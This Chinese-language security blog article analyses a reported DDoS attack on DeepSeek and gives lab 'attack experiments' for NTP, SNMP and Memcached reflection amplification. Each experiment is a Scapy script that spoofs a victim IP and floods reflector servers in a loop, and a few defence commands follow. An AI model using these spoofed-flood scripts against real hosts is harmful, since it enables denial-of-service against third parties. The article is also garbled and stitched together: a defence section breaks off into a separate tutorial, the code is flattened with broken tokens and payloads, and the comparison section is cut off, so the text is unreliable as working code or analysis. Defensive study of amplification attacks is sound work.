DeepSeek 遭受 DDoS 攻击的分析及应对措施

DeepSeek 是一款较新的 AI 模型，为用户提供类似 ChatGPT 的 AI 对话服务。近期，DeepSeek 遭遇了大规模 DDoS（分布式拒绝服务） 攻击，导致其服务不可用，用户访问受限。这种攻击可能来自竞争对手、黑客组织、或恶意攻击者，目的是使 DeepSeek 的服务崩溃，造成经济损失或用户流失。

DDoS 攻击通常有多种方式，结合 DeepSeek 服务器的特性，可能的攻击方式如下：

1. HTTP Flood（HTTP 洪水攻击）

• 原理
  
  ：
• 攻击者利用大量的 僵尸网络（Botnet） 发送大量 HTTP 请求，耗尽服务器的计算资源，导致正常用户无法访问。
• 可通过 GET/POST 请求大量消耗带宽或服务器资源，特别是 AI 模型涉及高负载计算，容易因计算压力过载。
• 特点
  
  ：
• 主要针对 Web 服务器，如 DeepSeek 的 API 网关。
• 较难区分
  
   正常流量与攻击流量。

2. 反射放大攻击（DNS/NTP/SNMP/Memcached 反射）

• 原理
  
  ：
• 攻击者利用 UDP 反射协议（如 NTP、DNS、Memcached），伪造 DeepSeek 服务器 IP，向放大服务器发送请求，导致 DeepSeek 服务器被超大流量数据淹没。
• 可能利用的协议
  
  ：
• NTP（放大 556 倍）
  
   → monlist 命令
• DNS（放大 28-54 倍）
  
   → ANY 解析请求
• Memcached（放大 10,000 倍）
  
   → 读取缓存数据

3. TCP SYN Flood（TCP 半连接攻击）

• 原理
  
  ：
• 伪造大量 TCP SYN 请求，服务器建立大量半连接，导致资源耗尽，无法响应正常连接请求。
• 影响
  
  ：
• 直接影响 DeepSeek 的 Web 服务器，可能造成 API 超时或拒绝响应。

4. AI 任务滥用（资源消耗攻击）

• 原理
  
  ：
• 攻击者利用 DeepSeek 的 AI 计算资源，批量提交高负载任务，使其计算能力枯竭，导致正常用户请求超时或失败。
• 可能方式
  
  ：
• 创建自动化脚本进行批量 AI 任务提交。
• 利用 AI 的计算密集型特点，让 GPU/CPU 资源耗尽。

DeepSeek 作为 AI 对话系统，主要依赖以下关键组件：

1. Web 服务器 & API 网关
   
   （Nginx、Cloudflare 代理等）
2. AI 计算资源（GPU 服务器）
3. 数据库（存储用户会话数据）
4. 缓存系统（Redis/Memcached）

攻击的可能目标

1. Web 服务器层防御（针对 HTTP Flood & TCP SYN Flood）

✅ 启用速率限制（Rate Limiting）

一、反射放大攻击概述

1. 什么是反射放大攻击？

反射攻击 是指攻击者伪造受害者的 IP 地址，向大量 UDP 服务器发送请求，这些服务器会将响应发送给受害者，形成流量放大的攻击方式。

放大攻击 依赖某些协议的查询机制，这些协议允许攻击者以较小的请求获得远超请求大小的响应，从而造成带宽放大效应。

2. 主要目标协议

攻击者通常利用 无验证的 UDP 协议，其中较常见的包括：

• NTP（Network Time Protocol）
  
   – 放大倍数 556 倍
• SNMP（Simple Network Management Protocol）
  
   – 放大倍数 6-10 倍
• Memcached（高性能缓存协议）
  
   – 放大倍数 最高 10,000 倍

二、NTP 放大攻击

1. 攻击原理

NTP 服务器提供时间同步服务，攻击者滥用其中的 monlist 命令，该命令会返回服务器最近与之交互的 IP 地址列表。由于响应数据远大于请求数据，攻击者可以借此进行 高达 556 倍的放大攻击。

2. 攻击实验

环境搭建：

sudo apt install ntp -ysudo systemctl start ntp

模拟攻击（Python + Scapy）：

from scapy.allimport *victim_ip = "192.168.1.100"ntp_server_ip = "192.168.1.200"ntp_request = IP(src=victim_ip, dst=ntp_server_ip) / UDP(dport=123) / Raw(load="x17x00x03x2a")send(ntp_request, loop=1)

3. 防御措施

• 禁用 monlist 命令
  
  （在 /etc/ntp.conf 添加）：

disable monitor

限制 UDP 端口 123：

iptables -AINPUT -p udp --dport123 -j DROP

三、SNMP 放大攻击

1. 攻击原理

SNMP 用于设备管理，其中 getBulkRequest 命令允许批量查询数据。攻击者伪造受害者 IP，发送此命令后，服务器会返回大量设备信息，从而形成 6-10 倍的放大攻击。

2. 攻击实验

环境搭建：

sudo apt install snmpd -y

配置 /etc/snmp/snmpd.conf：

agentAddress udp:161rocommunity public

sudo systemctl restart snmpd

from scapy.allimport *victim_ip = "192.168.1.100"snmp_server_ip = "192.168.1.200"snmp_request = IP(src=victim_ip, dst=snmp_server_ip) / UDP(dport=161) / SNMP(PDU=SNMPbulk(max_repetitions=50))send(snmp_request, loop=1)

四、Memcached 放大攻击

1. 攻击原理

Memcached 是一个高性能缓存系统，默认监听 UDP 11211 端口。攻击者可以伪造受害者 IP，向 Memcached 服务器发送 get 请求，服务器会返回比请求大 10,000 倍的流量，造成严重带宽攻击。

2. 攻击实验

环境搭建：

sudo apt install memcached -ysudo systemctl start memcached

from scapy.allimport *victim_ip = "192.168.1.100"memcached_server_ip = "192.168.1.200"memcached_request = IP(src=victim_ip, dst=memcached_server_ip) / UDP(dport=11211) / Raw(load="x00x01get large_keyrn")send(memcached_request, loop=1)

五、总结与防御建议

1. 各种 UDP 反射放大攻击对比

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原文始发于微信公众号（暗影网安实验室）：DeepSeek 遭受 DDoS 攻击的分析及应对措施